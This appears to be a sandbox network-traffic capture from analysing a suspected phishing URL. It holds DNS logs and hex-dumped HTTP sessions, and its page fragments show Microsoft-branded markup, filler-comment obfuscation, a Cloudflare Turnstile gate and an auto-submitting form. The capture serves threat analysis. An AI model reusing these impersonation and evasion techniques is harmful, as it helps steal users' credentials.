Mar 18, 2025 13:42:24.540580034 CET	53	49576	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:24.540779114 CET	53	56300	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:25.749946117 CET	53	55478	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:26.333467960 CET	55762	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:26.333842039 CET	63569	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:26.334309101 CET	62367	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:26.334482908 CET	64219	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:26.340148926 CET	53	55762	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:26.344655037 CET	53	64219	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:26.347255945 CET	53	63569	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:26.353789091 CET	53	62367	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:26.994493961 CET	61374	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:26.994710922 CET	52017	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:27.008470058 CET	53	52017	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:27.008485079 CET	53	61374	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:27.795589924 CET	64874	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:27.795746088 CET	49493	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:27.802679062 CET	53	49493	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:27.803544998 CET	53	64874	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:28.278239012 CET	56159	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:28.278646946 CET	65309	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:28.286145926 CET	53	65309	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:28.286607981 CET	53	56159	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:29.162679911 CET	59783	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:29.162889004 CET	56803	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:29.170305014 CET	53	59783	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:29.170938969 CET	53	56803	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:30.253848076 CET	63243	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:30.254055023 CET	50861	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:30.260797024 CET	53	63243	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:30.262257099 CET	53	50861	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.468846083 CET	55059	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.469280958 CET	53948	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.470587969 CET	49745	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.470899105 CET	61778	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.471223116 CET	51920	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.471369982 CET	49319	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.473453999 CET	59181	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.473645926 CET	53677	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.474558115 CET	59234	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.474761009 CET	63450	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:38.475699902 CET	53	55059	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.476851940 CET	53	53948	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.477232933 CET	53	49745	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.477591991 CET	53	61778	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.477962017 CET	53	49319	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.477972984 CET	53	51920	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.479700089 CET	53	62268	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.480375051 CET	53	53677	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.482004881 CET	53	59181	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.679371119 CET	53	63450	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:38.958962917 CET	53	59234	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:41.121366978 CET	61267	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:41.121540070 CET	53573	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:41.126040936 CET	54360	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:41.126219034 CET	54514	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:41.132909060 CET	53	53573	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:41.133874893 CET	53	54360	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:41.133886099 CET	53	54514	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:41.141263962 CET	53	61267	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:41.862498999 CET	63264	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:41.862942934 CET	58849	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:41.871879101 CET	53	63264	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:41.872839928 CET	53	58849	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:42.695380926 CET	53	49417	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:46.954745054 CET	60283	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:46.954992056 CET	52318	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:46.966012955 CET	53	60283	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:46.969019890 CET	53	52318	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:49.971081972 CET	63070	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:49.971491098 CET	60036	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:49.978379965 CET	53	60036	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:49.979432106 CET	53	63070	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:50.085299015 CET	53	55683	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:50.891599894 CET	55276	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:50.891767979 CET	52205	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:50.898555994 CET	53	52205	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:50.898935080 CET	53	55276	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:01.661472082 CET	53	53501	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:23.672370911 CET	53	56007	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:24.257273912 CET	53	51704	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:26.894361973 CET	53	63844	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:28.339701891 CET	56298	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:43:28.339847088 CET	49947	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:43:28.346282959 CET	53	49947	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:28.346545935 CET	53	56298	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:33.366697073 CET	138	138	192.168.2.17	192.168.2.255
Mar 18, 2025 13:43:54.909109116 CET	53	58606	1.1.1.1	192.168.2.17
Mar 18, 2025 13:43:57.958478928 CET	53	51908	1.1.1.1	192.168.2.17

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:25 UTC	688	OUT	GET /IFEXy HTTP/1.1 Host: bonsoiree.mareanebulosasao.it.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:25 UTC	898	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 18 Mar 2025 12:42:25 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://bonsoiree.mareanebulosasao.it.com/IFEXy/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IYSgGzYg2B97sEfk7V5dcKdvgridrYcurxnbWaJnClwFfaydl3JMBTRo%2BuUuJIyW1MXzU699eMC1WNHeKeiviIQQprY4JPUPi8lJxZMNt8x5vVst%2FyUquIDzNXs5F%2F%2B89MJbjnoGMxz0Zgi9sJs%2F%2FCFWz3M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224cf5468c64407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4635&min_rtt=2226&rtt_var=2498&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1260&delivery_rate=1311769&cwnd=181&unsent_bytes=0&cid=dc1cf0c8c37f8230&ts=325&x=0"
2025-03-18 12:42:25 UTC	263	IN	Data Raw: 31 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 6f 6e 73 6f 69 72 65 65 2e 6d 61 72 65 61 6e 65 62 75 6c 6f 73 61 73 61 6f 2e 69 74 2e 63 6f 6d 2f 49 46 45 58 79 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f Data Ascii: 100<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bonsoiree.mareanebulosasao.it.com/IFEXy/">here</a>.</p></body></
2025-03-18 12:42:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:26 UTC	689	OUT	GET /IFEXy/ HTTP/1.1 Host: bonsoiree.mareanebulosasao.it.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:26 UTC	443	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cf-Cache-Status: DYNAMIC Set-Cookie: PHPSESSID=6pscjhb0e16aajvi4vl1e2m011; Path=/ CF-RAY: 9224cf593dd58c75-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:26 UTC	926	IN	Data Raw: 66 39 32 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 46 72 6f 73 74 4c 6f 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 79 20 65 6e 6a 6f 79 65 64 20 74 68 65 20 73 74 75 6e 6e 69 6e 67 20 76 69 65 77 20 66 72 6f 6d 20 74 68 65 20 74 6f 70 20 6f 66 20 74 68 65 20 74 6f 77 65 72 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: f92 <html lang="en"> <head> <meta charset="UTF-8"> <title>FrostLoom</title> ... <span>They enjoyed the stunning view from the top of the tower.</span> --> <meta name="robots" content="noindex, nofollow">
2025-03-18 12:42:26 UTC	1369	IN	Data Raw: 20 20 2f 2a 20 54 68 65 20 73 63 69 65 6e 74 69 73 74 20 63 6f 6e 64 75 63 74 65 64 20 61 6e 20 69 6e 74 65 72 65 73 74 69 6e 67 20 65 78 70 65 72 69 6d 65 6e 74 20 75 73 69 6e 67 20 63 6f 6d 70 6c 65 78 20 65 71 75 61 74 69 6f 6e 73 2e 20 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 Data Ascii: /* The scientist conducted an interesting experiment using complex equations. */ justify-content: center; align-items: center; flex-direction: column; min-height: 100vh; tex
2025-03-18 12:42:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 6d 65 74 65 6f 72 2e 63 6f 6d 2f 6c 6f 67 6f 73 2f 61 73 73 65 74 73 2f 50 4e 47 2f 4d 69 63 72 6f 73 6f 66 74 5f 4c 6f 67 6f 5f 35 31 32 70 78 2e 70 6e 67 22 20 61 6c 74 3d 22 6c 6f 67 6f 22 20 77 69 64 74 68 3d 22 38 30 70 78 22 3e 3c 21 2d 2d 20 54 68 65 79 20 65 6e 6a 6f 79 65 64 20 74 68 65 20 73 74 75 6e 6e 69 6e 67 20 76 69 65 77 20 66 72 6f 6d 20 74 68 65 20 74 6f 70 20 6f 66 20 74 68 65 20 74 6f 77 65 72 2e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 69 6e 64 72 65 64 47 6c 65 61 6d 22 3e 4d 69 63 72 6f 73 6f 66 74 3c 2f 64 69 76 3e 20 3c 21 2d 2d 20 41 20 73 6b 69 6c 6c 65 64 20 65 6e 67 69 6e 65 65 72 20 64 65 73 69 Data Ascii: <img src="https://mailmeteor.com/logos/assets/PNG/Microsoft_Logo_512px.png" alt="logo" width="80px">... They enjoyed the stunning view from the top of the tower. --> <div class="KindredGleam">Microsoft</div> ... A skilled engineer desi
2025-03-18 12:42:26 UTC	329	IN	Data Raw: 63 61 70 65 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 4a 61 64 65 4c 6f 6f 6d 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 66 6f 72 6d 73 5b 30 5d 2e 73 75 62 6d 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 41 20 73 75 64 64 65 6e 20 73 74 72 6f 6e 67 20 77 69 6e 64 20 62 6c 65 77 20 74 68 65 20 70 61 70 65 72 73 20 61 63 72 6f 73 73 20 74 68 65 20 65 6d 70 74 79 20 72 6f 6f 6d 2e 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 54 68 65 20 63 68 65 66 20 70 72 65 70 61 72 65 64 20 61 20 64 65 6c Data Ascii: capes.</span> --> <script> function JadeLoom() { document.forms[0].submit(); } // A sudden strong wind blew the papers across the empty room. </script> ... The chef prepared a del
2025-03-18 12:42:26 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2025-03-18 12:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:26 UTC	602	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:26 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 18 Mar 2025 12:42:26 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 9224cf5e19e57d00-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:26 UTC	673	OUT	GET /logos/assets/PNG/Microsoft_Logo_512px.png HTTP/1.1 Host: mailmeteor.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:26 UTC	1182	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:26 GMT Content-Type: image/png Content-Length: 2309 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=14400, must-revalidate ETag: "fd1dd9eb8405629af71bda9e0fc8400c" content-security-policy: frame-ancestors 'self' *.mailmeteor.com referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-xss-protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P5rG6VBQ7RWuHPtXrNyaOLw4zuB6s59ONBR%2Bu5Y5bPBQJAkfNWvbCiwVprVsKC8QVzC18k%2BV52qslywb%2BwcBTqUEXL0Vrw%2FZaQZiCrM4MmXdUiCIbbyanCZ%2BmrC81%2BjufQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: HIT Age: 1033 Accept-Ranges: bytes Strict-Transport-Security: max-age=2592000 Server: cloudflare CF-RAY: 9224cf5e4d70aa39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2042&min_rtt=2036&rtt_var=776&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1245&delivery_rate=1398467&cwnd=100&unsent_bytes=0&cid=4f9a2bbf56bb7fa9&ts=157&x=0"
2025-03-18 12:42:26 UTC	187	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 9a 49 44 41 54 78 01 ed d6 31 aa 5d 55 14 80 e1 b5 1f 8f 60 23 64 08 b7 b1 cf 10 14 c1 5e b0 b1 74 08 4e c0 c2 09 38 04 3b 3b b1 17 41 87 10 db 54 37 33 78 45 8a 40 20 3b 37 90 22 03 c8 39 24 f9 bf af d9 dd ea d6 5e ff 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRxpHYssRGBgAMAaIDATx1]U`#d^tN8;;AT73xE@ ;7"9$^
2025-03-18 12:42:26 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c aa d6 1c e8 c5 0f 5f fd b6 f7 3c 19 e0 44 eb e1 cb 3f 9f 7d 3f 07 f8 f5 9f 47 bf df e6 5f 06 38 cf 7a fd f4 97 6f 5f fd 3c 1f d8 fd 1c e8 dd f1 ff 7a 80 d3 ac d9 d7 39 c8 5e b7 7d de fb 32 c0 69 d6 be 9b 23 1c 33 15 00 f8 a8 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 Data Ascii: \|_<D?}?G_8zo_<z9^}2i#3$ H@ A$ H@ A$ H@ A$ H@ A$ H@ A
2025-03-18 12:42:26 UTC	753	IN	Data Raw: 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 40 90 00 00 80 20 01 00 00 41 02 00 00 82 04 00 00 04 09 00 00 08 12 00 00 10 24 00 00 20 48 00 00 Data Ascii: A$ H@ A$ H@ A$ H@ A$ H@ A$ H@ A$ H@ A$ H@ A$ H

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:27 UTC	617	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:27 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:27 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9224cf61cd04c324-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:27 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-18 12:42:27 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return 